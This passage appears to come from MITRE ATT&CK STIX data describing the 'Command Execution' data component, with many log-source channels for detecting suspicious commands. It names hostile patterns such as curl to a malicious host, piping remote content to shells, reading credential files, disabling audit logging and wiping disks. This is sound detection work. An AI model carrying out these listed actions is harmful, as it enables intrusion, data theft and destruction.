            "description": "Command Execution involves monitoring and capturing the execution of textual commands (including shell commands, cmdlets, and scripts) within an operating system or application. These commands may include arguments or parameters and are typically executed through interpreters such as `cmd.exe`, `bash`, `zsh`, `PowerShell`, or programmatic execution. Examples: \n\n- Windows Command Prompt\n    - dir \u2013 Lists directory contents.\n    - net user \u2013 Queries or manipulates user accounts.\n    - tasklist \u2013 Lists running processes.\n- PowerShell\n    - Get-Process \u2013 Retrieves processes running on a system.\n    - Set-ExecutionPolicy \u2013 Changes PowerShell script execution policies.\n    - Invoke-WebRequest \u2013 Downloads remote resources.\n- Linux Shell\n    - ls \u2013 Lists files in a directory.\n    - cat /etc/passwd \u2013 Reads the user accounts file.\n    - curl http://malicious-site.com \u2013 Retrieves content from a malicious URL.\n- Container Environments\n    - docker exec \u2013 Executes a command inside a running container.\n    - kubectl exec \u2013 Runs commands in Kubernetes pods.\n- macOS Terminal\n    - open \u2013 Opens files or URLs.\n    - dscl . -list /Users \u2013 Lists all users on the system.\n    - osascript -e \u2013 Executes AppleScript commands.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "mobile-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "android:logcat",
                    "channel": "Command 'pm list packages' executed by app sandbox or child proc"
                },
                {
                    "name": "auditd:CONFIG_CHANGE",
                    "channel": "udev rule reload or trigger command executed"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execve of script/interpreter (bash, python, node) with suspicious encoded or non-printable content"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Use of mv or cp to rename files with '.' prefix"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execve: Execution of update-ca-certificates or trust anchor modification commands"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "gcore, gdb, strings, hexdump execution"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of auditctl, systemctl stop auditd, or kill -9 auditd"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execution of systemctl with subcommands start, stop, enable, disable"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of GUI-related binaries with suppressed window/display flags"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "curl -X POST, wget --post-data"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "command line arguments containing lsblk, fdisk, parted"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "curl -d, wget --post-data"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "grep/cat/awk on files with password fields"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "git push, curl -X POST"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of gsettings set org.gnome.login-screen disable-user-list true"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execution of setfattr or getfattr commands"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Process execution of update-ca-certificates or openssl with suspicious arguments"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of chattr to set +i or +a attributes"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "curl or wget with POST/PUT options"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "curl -T, rclone copy"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execve of curl,wget,bash,sh,python with piped or remote content"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execve, kill, ptrace, insmod, rmmod targeting security processes"
                },
                {
                    "name": "auditd:PROCTITLE",
                    "channel": "proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters"
                },
                {
                    "name": "auditd:PROCTITLE",
                    "channel": "proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)"
                },
                {
                    "name": "auditd:PROCTITLE",
                    "channel": "process title records containing discovery command sequences and environmental assessment patterns"
                },
                {
                    "name": "auditd:PROCTITLE",
                    "channel": "command-line execution patterns for system discovery utilities (uname, hostname, ifconfig, netstat, lsof, ps, mount)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execution of realmd, samba-tool, or ldapmodify with user-related arguments"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of script interpreters by systemd timer (ExecStart)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Commands like systemctl stop <service>, service <service> stop, or kill -9 <pid>"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls to locale, timedatectl, or cat /etc/timezone"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "sleep function usage or loops (nanosleep, usleep) in scripts"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "connect, execve, write"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve call including 'nohup' or trailing '&'"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "None"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Commands executed within an SSH session where no matching logon/authentication event exists"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "chmod, execve"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: iptables, nft, firewall-cmd modifications"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Invocation of scp, rsync, curl, or sftp"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls modifying local mail filter configuration files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: process_name IN (\"virsh\", \"VBoxManage\", \"qemu-img\") AND command IN (\"list\", \"info\")"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: openssl pkcs12, certutil, keytool"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Process in container namespace executes curl|wget|bash|sh|python|nc with outbound args"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execution of systemctl or service with enable/start parameters"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of python, perl, or custom binaries invoking compression libraries"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve, USER_CMD"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "bash/zsh of base64, tar, gzip, or openssl immediately after file write"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Processes executing sendmail/postfix with forged headers"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "promiscuous mode transitions (ioctl or ifconfig)"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "chattr, rm, shred, dd run on recovery directories or partitions"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of downgraded interpreters such as python2 or forced fallback commands"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Command line arguments including SPApplicationsDataType"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execution of tools like cat, grep, or awk on credential files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of curl, rsync, wget with internal knowledge base or IPs"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of xev, xdotool, or input activity emulators"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of interpreters creating archive-like outputs without calling tar/gzip"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of curl, wget, or custom scripts accessing financial endpoints"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of tar, gzip, bzip2, or openssl with output redirection"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve=/sbin/shutdown or /sbin/reboot"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls modifying HISTFILE or HISTCONTROL via unset/export"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls to /usr/bin/locale or shell execution of $LANG"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execution of systemctl or service with enable/start/modify"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of lsmod, modinfo, or cat /proc/modules"
                },
                {
                    "name": "auditd:USER_CMD",
                    "channel": "USER_CMD"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "InvokeFunction"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "SSM RunCommand"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "GetLogEvents: High frequency log exports from CloudWatch or equivalent services"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "command-line execution invoking credential enumeration"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "ssm:GetCommandInvocation"
                },
                {
                    "name": "AWS:CloudTrail",
                    "channel": "SendCommand, StartSession, ExecuteCommand: Unexpected AWS Systems Manager command execution targeting EC2 instances"
                },
                {
                    "name": "azure:activity",
                    "channel": "Intune PowerShell Scripts"
                },
                {
                    "name": "azure:signinlogs",
                    "channel": "OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain"
                },
                {
                    "name": "Command",
                    "channel": "None"
                },
                {
                    "name": "docker:api",
                    "channel": "docker logs access or container inspect commands from non-administrative users"
                },
                {
                    "name": "docker:daemon",
                    "channel": "docker exec or docker run with unexpected command/entrypoint"
                },
                {
                    "name": "docker:events",
                    "channel": "container exec rm|container stop --force"
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "useradd or /etc/passwd modified inside container"
                },
                {
                    "name": "EDR:AMSI",
                    "channel": "None"
                },
                {
                    "name": "EDR:cli",
                    "channel": "Command Line Telemetry"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "command execution"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "/var/log/hostd.log"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "modification of config files or shell command execution"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "shell access or job registration"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "logline inspection"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "esxcli network firewall set commands"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "event stream"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "scp/ssh used to move file across hosts"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "None"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "esxcli system syslog config set or reload"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "command log"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Command Execution"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "remote CLI + vim-cmd logging"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "execution + payload hints"
                },
                {
                    "name": "esxi:shell",
                    "channel": "esxcli system syslog config set/reload, services.sh restart/stop"
                },
                {
                    "name": "esxi:shell",
                    "channel": "snapshot create/copy, esxcli"
                },
                {
                    "name": "esxi:shell",
                    "channel": "interactive shell"
                },
                {
                    "name": "esxi:shell",
                    "channel": "/var/log/shell.log"
                },
                {
                    "name": "esxi:shell",
                    "channel": "invoked remote scripts (esxcli)"
                },
                {
                    "name": "esxi:shell",
                    "channel": "base64 or gzip use within shell session"
                },
                {
                    "name": "esxi:shell",
                    "channel": "scripts or binaries with misleading names"
                },
                {
                    "name": "esxi:shell",
                    "channel": "/var/log/shell.log entries containing \"esxcli system clock get\""
                },
                {
                    "name": "esxi:shell",
                    "channel": "None"
                },
                {
                    "name": "esxi:shell",
                    "channel": "command IN (\"esxcli vm process list\", \"vim-cmd vmsvc/getallvms\")"
                },
                {
                    "name": "esxi:shell",
                    "channel": "openssl|tar|dd"
                },
                {
                    "name": "esxi:shell",
                    "channel": "Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log"
                },
                {
                    "name": "esxi:shell",
                    "channel": "CLI usage logs"
                },
                {
                    "name": "esxi:shell",
                    "channel": "Command execution trace"
                },
                {
                    "name": "esxi:shell",
                    "channel": "shell command execution for chmod, chown, or file permission modification on VMFS or system files"
                },
                {
                    "name": "esxi:shell",
                    "channel": "esxcli system syslog config set --loghost='' or stopping hostd service"
                },
                {
                    "name": "esxi:shell",
                    "channel": "Shell Access/Command Execution"
                },
                {
                    "name": "esxi:shell",
                    "channel": "esxcli software vib list"
                },
                {
                    "name": "esxi:shell",
                    "channel": "/root/.ash_history"
                },
                {
                    "name": "esxi:shell",
                    "channel": "mv, rename, or chmod commands moving VM files into hidden directories"
                },
                {
                    "name": "esxi:shell",
                    "channel": "`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`"
                },
                {
                    "name": "esxi:shell",
                    "channel": "CLI session activity"
                },
                {
                    "name": "esxi:shell",
                    "channel": "esxcli system shutdown or reboot invoked"
                },
                {
                    "name": "esxi:shell",
                    "channel": "shell command execution for system discovery (vim-cmd, esxcli, vmware-cmd) targeting VM inventory and host configuration"
                },
                {
                    "name": "esxi:shell",
                    "channel": "unset HISTFILE or HISTFILESIZE modifications"
                },
                {
                    "name": "esxi:syslog",
                    "channel": "boot logs"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "/var/log/vmkernel.log"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "DCUI shell start, BusyBox activity"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "esxcli system account add"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Unexpected restarts of management agents or shell access"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "esxcli, vim-cmd invocation"
                },
                {
                    "name": "esxi:vobd",
                    "channel": "shell session start"
                },
                {
                    "name": "esxi:vpxd",
                    "channel": "vCenter Management"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "file system activity monitor"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "access to BPF devices or interface IOCTLs"
                },
                {
                    "name": "gcp:audit",
                    "channel": "None"
                },
                {
                    "name": "gcp:audit",
                    "channel": "methodName: setIamPolicy, startInstance, createServiceAccount"
                },
                {
                    "name": "kubernetes:audit",
                    "channel": "Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)"
                },
                {
                    "name": "kubernetes:audit",
                    "channel": "process execution involving curl, grep, or awk on secrets"
                },
                {
                    "name": "linus:syslog",
                    "channel": "None"
                },
                {
                    "name": "linux:cli",
                    "channel": "command logging"
                },
                {
                    "name": "linux:cli",
                    "channel": "Shell history logs"
                },
                {
                    "name": "linux:cli",
                    "channel": "Terminal Command History"
                },
                {
                    "name": "linux:cli",
                    "channel": "/home/*/.bash_history"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Command-line includes base64 -d or openssl enc -d"
                },
                {
                    "name": "linux:osquery",
                    "channel": "process_events.command_line"
                },
                {
                    "name": "linux:shell",
                    "channel": "Manual invocation of software enumeration commands via interactive shell"
                },
                {
                    "name": "linux:syslog",
                    "channel": "cron activity"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Suspicious script or command execution targeting browser folders"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Unusual outbound transfers from CLI tools like base64, gzip, or netcat"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sudo chage|grep pam_pwquality|cat /etc/login.defs"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user"
                },
                {
                    "name": "linux:syslog",
                    "channel": "sshd logs"
                },
                {
                    "name": "linux:syslog",
                    "channel": "CLI access to 'show running-config', 'show password', or 'cat config.txt'"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Sudo or root escalation followed by filesystem mount commands"
                },
                {
                    "name": "linuxsyslog",
                    "channel": "nslcd or winbind logs"
                },
                {
                    "name": "m365:defender",
                    "channel": "Activity Log: Command Invocation"
                },
                {
                    "name": "m365:exchange",
                    "channel": "Cmdlet: Get-GlobalAddressList, Get-Recipient"
                },
                {
                    "name": "m365:exchange",
                    "channel": "Get-RoleGroup, Get-DistributionGroup"
                },
                {
                    "name": "m365:messagetrace",
                    "channel": "Inbound email triggers execution of mailbox-stored custom form"
                },
                {
                    "name": "m365:messagetrace",
                    "channel": "Inbound email matches crafted rule trigger pattern tied to persistence logic"
                },
                {
                    "name": "m365:messagetrace",
                    "channel": "Inbound email triggering Outlook to auto-access folder tied to malicious Home Page"
                },
                {
                    "name": "m365:office",
                    "channel": "Startup execution includes non-default component"
                },
                {
                    "name": "m365:office",
                    "channel": "Execution of unsigned macro from template"
                },
                {
                    "name": "m365:unified",
                    "channel": "Automated forwarding or file sync initiated by a logic app"
                },
                {
                    "name": "m365:unified",
                    "channel": "Search-Mailbox, Get-MessageTrace, eDiscovery requests"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-Mailbox, New-InboxRule"
                },
                {
                    "name": "m365:unified",
                    "channel": "Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Interpreter exec with suspicious arguments as above"
                },
                {
                    "name": "macos:osquery",
                    "channel": "launchd + process_events"
                },
                {
                    "name": "macos:syslog",
                    "channel": "system.log"
                },
                {
                    "name": "macos:syslog",
                    "channel": "/var/log/system.log"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "dsconfigad or dscl with create or append options for AD-bound users"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchctl unload, kill, or pkill commands affecting daemons or background services"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of security-agent detection or enumeration commands"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of chflags hidden or SetFile -a V"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "defaults read -g AppleLocale, systemsetup -gettimezone"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "profiles install -type=configuration"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'eventMessage contains \"loginwindow\" or \"pfctl\"'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec or sudo usage with NOPASSWD context or echo modifying sudoers"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "nohup, disown, or osascript execution patterns"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of 'profiles install -type=configuration'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "subsystem:com.apple.Terminal"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "base64 or curl processes chained within short execution window"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "chmod command with arguments including '+s', 'u+s', or numeric values 4000\u20136777"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "command includes dscl . delete or sysadminctl --deleteUser"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "DS daemon log entries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "diskutil eraseDisk / asr restore with destructive flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "pwpolicy|PasswordPolicy"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Command line contains smbutil view //, mount_smbfs //"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log messages related to disk enumeration context or Terminal session"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "defaults write com.apple.system.logging or logd manipulation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process calling security find-certificate, export, or import"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of log show, fs_usage, or cat targeting system.log"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of launchctl load/unload/start commands"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "base64 -d or osascript invoked on staged file"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "diskutil partitionDisk or eraseVolume with partition scheme modifications"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "grep/cat on files matching credential patterns"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "diskutil eraseDisk/zeroDisk or asr restore with destructive flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process: at, job runner"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of dscl . create with IsHidden=1"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'processImagePath contains \"zip\" OR \"base64\"'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "xattr utility execution with -w or -p flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of 'security', 'cat', or 'grep' commands accessing credential storage"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchctl load or boot-time plist registration"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "dscl -create"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "kextload execution from Terminal or suspicious paths"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "xattr -d com.apple.quarantine or similar removal commands"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Security framework operations including keychain access, cryptographic operations, and certificate validation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "None"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of chflags hidden or setfile -a V"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process:spawn, process:exec"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "csrutil disable"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log show --predicate 'process == <utility>'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "command execution triggered by emond (e.g., shell, curl, python)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Set or unset HIST* variables in shell environment"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "defaults read -g AppleLocale or systemsetup -gettimezone"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchctl load/unload or plist file modification"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "dscl . -create"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of commands like `ls -l@`, `xattr -l`, or custom tools interacting with resource forks"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of osascript, sh, bash, zsh, installer, open"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application spawns shell, command interpreter, or command-executing child process with arguments during command-execution phase"
                },
                {
                    "name": "MobileEDR:telemetry",
                    "channel": "Application spawns Unix shell process or superuser binary such as sh, su, toybox, toolbox, or shell-like child process with parameters during execution phase"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "CLI command"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Policy Update"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "ip ssh pubkey-chain"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "erase flash:, erase startup-config, format disk"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "CLI command logs"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "cmd: cmd=show clock detail"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "None"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "format flash:, format disk, reformat commands"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "erase flash:, erase nvram:, format disk"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "command logs"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "command logging"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Interface commands"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "shell command"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Commands like 'no logging' or equivalents that disable session history"
                },
                {
                    "name": "networkdevice:cli",
                    "channel": "Execution of commands such as 'copy tftp flash', 'boot system <image>', 'reload'"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "PKI export or certificate manipulation commands"
                },
                {
                    "name": "networkdevice:config",
                    "channel": "Configuration changes referencing 'boot system tftp' or modification of startup-config pointing to external TFTP servers"
                },
                {
                    "name": "networkdevice:Firewall",
                    "channel": "Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Command Audit / Configuration Change"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "eventlog"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "command_exec"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "command-exec: CLI commands containing \"show clock\", \"show clock detail\", \"show timezone\" executed by suspicious user/source"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "cmd='show aaa*' OR 'show running-config | include password|aaa' OR 'show aaa common-criteria policy all'"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "CLI command audit"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "system boot logs"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "exec command='monitor capture'"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "no logging buffered, no aaa new-model, disable firewall"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "interactive shell logging"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "command sequence: erase \u2192 format \u2192 reload"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "CLI Command Logging"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "CLI Command Audit"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "command audit"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Privilege-level command execution"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "Detected CLI command to export key material"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "reload command issued"
                },
                {
                    "name": "networkdevice:syslog",
                    "channel": "syslog facility LOCAL7 or trap messages"
                },
                {
                    "name": "saas:PRMetadata",
                    "channel": "Commit message or branch name contains encoded strings or payload indicators"
                },
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                    "name": "WinEventLog:PowerShell",
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                {
                    "name": "WinEventLog:PowerShell",
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                    "name": "WinEventLog:PowerShell",
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                {
                    "name": "WinEventLog:PowerShell",
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                    "name": "WinEventLog:Security",
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                {
                    "name": "macos:unifiedlog",
                    "channel": "launchctl disable or bootout calls"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "Stop VM or disable service events via vim-cmd"
                },
                {
                    "name": "linux:syslog",
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                },
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                    "name": "macos:osquery",
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                    "name": "auditd:SYSCALL",
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                {
                    "name": "macos:auth",
                    "channel": "~/.ssh/authorized_keys"
                },
                {
                    "name": "gcp:audit",
                    "channel": "compute.instances.setMetadata"
                },
                {
                    "name": "azure:resource",
                    "channel": "PATCH vm/authorized_keys"
                },
                {
                    "name": "esxi:shell",
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                {
                    "name": "linux:syslog",
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                {
                    "name": "ebpf:syscalls",
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                {
                    "name": "macos:unifiedlog",
                    "channel": "Modification of plist with apple.awt.UIElement set to TRUE"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "unlink, write"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "open, write: Write operations targeting /dev/sda, /dev/nvme0n1, or EFI partition mounts"
                },
                {
                    "name": "auditd:PATH",
